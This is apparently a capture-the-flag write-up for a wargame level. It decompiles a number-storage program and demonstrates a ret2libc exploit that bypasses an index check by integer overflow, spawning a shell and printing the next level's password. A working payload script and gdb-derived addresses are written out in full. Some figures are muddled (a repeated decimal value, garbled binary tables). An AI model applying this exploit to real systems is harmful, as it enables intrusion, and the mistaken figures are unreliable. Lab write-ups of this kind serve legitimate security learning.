./level07

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX disabled   No PIE        No RPATH   No RUNPATH   /home/user/level07/level07

level07@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
int store_number(unsigned int *data)
{
    printf(" Number: ");
    unsigned int input = get_unum();
    printf(" Index: ");
    unsigned int index = get_unum();

    if (index % 3 == 0 || (input >> 0x18) == 0xb7)
    {
        puts(" *** ERROR! ***");
        puts("   This index is reserved for wil!");
        puts(" *** ERROR! ***");
        return 1;
    }

    data[index] = input;
    return 0;
}

int read_number(unsigned int *data)
{
    printf(" Index: ");
    unsigned int index = get_unum();
    printf(" Number at data[%u] is %u\n", index, data[index]);
    return 0;
}

int main(int argc, char **argv, char **envp)
{
    char command[20] = {0};
    unsigned int data[100] = {0};
    int ret;

    for (int i = 0; envp[i] != NULL; i++)
        memset(envp[i], 0, strlen(envp[i]));
    for (int i = 0; argv[i] != NULL; i++)
        memset(argv[i], 0, strlen(argv[i]));

    puts("----------------------------------------------------");
    puts("  Welcome to wil's crappy number storage service!   ");
    puts("----------------------------------------------------");
    puts(" Commands:                                          ");
    puts("    store - store a number into the data storage    ");
    puts("    read  - read a number from the data storage     ");
    puts("    quit  - exit the program                        ");
    puts("----------------------------------------------------");
    puts("   wil has reserved some storage :>                 ");
    puts("----------------------------------------------------");

    while (1)
    {
        printf("Input command: ");
        fgets(command, sizeof(command), stdin);
        command[strcspn(command, "\n")] = '\0';

        if (!strncmp(command, "store", 5))
            ret = store_number(data);
        else if (!strncmp(command, "read", 4))
            ret = read_number(data);
        else if (!strncmp(command, "quit", 4))
            break;

        if (ret)
            printf(" Failed to do %s command\n", command);
        else
            printf(" Completed %s command successfully\n", command);

        memset(command, 0, sizeof(command));
    }
    return EXIT_SUCCESS;
}
```

This **C program** presents a basic number storage service that allows users to store and read unsigned integer values into an array. The **main** loop offers an interactive shell-like interface where users input commands to **store**, **read**, or **quit**.

The **store_number** function captures a **number** and an **index** from the user, but it implements a security check to prevent certain values from being stored: an index divisible by 3 or a number with a significant byte of **0xb7** is considered reserved and triggers an error.

In the **read_number** function, users can retrieve a value from the array by providing its index.
Upon start-up, the program clears the **environment variables** and **command-line arguments**, as a security measure to prevent unintended data leakage.

After an extensive period of research and iterative testing, we discovered a viable **exploit**: the **vulnerability** lies in the program's failure to validate whether the user-supplied **index** is within the bounds of the data array. This oversight enables us to cause a *buffer overflow* in the **main** function, potentially allowing for arbitrary code execution.

In the context of the **exploit**, we use a technique known as **return-to-libc** (**ret2libc**).
This method involves overwriting the stack's **return address** with the address of a library function (in this case, **system**) that we wish to execute, followed by its return address, and finally its argument (**/bin/sh**)

To achieve this exploit, memory will have to look like this:
[offset to reach overflow] [system() address] [return address] ["/bin/sh" address]

Now, let's look at the program's stack layout:

0xffffdc50	08 04 8d 4b	00 00 00 00	00 00 00 17	f7 fd c7 14
0xffffdc60	00 00 00 00	ff ff ff ff	ff ff de e0	ff ff de d8
0xffffdc70	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffdc80	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffdc90	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffdca0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffdcb0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
...	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffddf0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffde00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffde10	00 00 00 00	00 00 00 00	00 00 00 00	e3 9e 09 00
0xffffde20	f7 fe b6 20	00 00 00 00	08 04 8a 09	f7 fc ef f4
0xffffde30	00 00 00 00	00 00 00 00	00 00 00 00	f7 e4 55 13
0xffffde40	00 00 00 01	ff ff de d4	ff ff de dc	f7 fd 30 00

data[100]
command[20]
return address

Our **input buffer** starts at a lower memory address 0xffffdc74 and the **return address** is at a higher memory address 0xffffde3c. The difference between these two addresses is 456 bytes, which corresponds to 114 indices in the **data** array because each **unsigned int** is 4 bytes.

So, at index 114 we want to put the **system()** address and at index 116 the **/bin/sh** address.
We're not concerned with what goes into index 115, which would typically be used for the **return address** in a **system()** call, because it's not necessary for this exploit to succeed.

To determine the specific addresses required for the **exploit**, we use the **gdb**:

```
(gdb) find __libc_start_main,+999999999,"/bin/sh"
0xf7f897ec
(gdb) p system
$1 = 0xf7e6aed0 <system>
```

So we want to insert 0xf7e6aed0 (4160264172_{10}) at index 114 and 0xf7f897ec (4160264172_{10}) at index 116.
The problem is that 114 divisible by 3, so we won't be able to pass the security check.

We can bypass that using a **integer overflow vurnerability**, finding a number not divisible by 3, that when multiplied by 4 gives us the 456 bytes (equivalent to the 114 **unsigned ints**) needed to reach the return address.

Both **UINT_MAX⅓** (2^{31}) and **UINT_MAX¼** (2^{30}) multiplyed by 4, exceed the *unsigned int32* upper bound of 2^{32}. Overflow takes into account the less significant digits; hence by adding 114 to these values, yielding 2147483762 and 1073741938 respectively, and then multiplying by 4, both yield a residue of 456.

1.073.741.938 **in binary**

+/-																
	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0
2^n	31															0

4.294.967.752 **in binary**

	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0
	31															0

Having bypassed the initial *if* condition, we can now crack the program, causing the **shell** to spawn.

```
level07@RainFall:~$ {
python -c '
bin_sh = int("0xf7f897ec", 16)
system = int("0xf7e6aed0", 16)
offset = (2 << 30) + 114
commands = "\n".join(["store", str(bin_sh), "116", "store", str(system), str(offset), "quit"])
print(commands)';
echo "cd ../level08 && cat .pass";
} | ./level07

Input command:  Number:  Index:  Completed store command successfully
Input command:  Number:  Index:  Completed store command successfully

7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC

level07@RainFall:~$ su level08
Password: 7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC

level08@RainFall:~$
```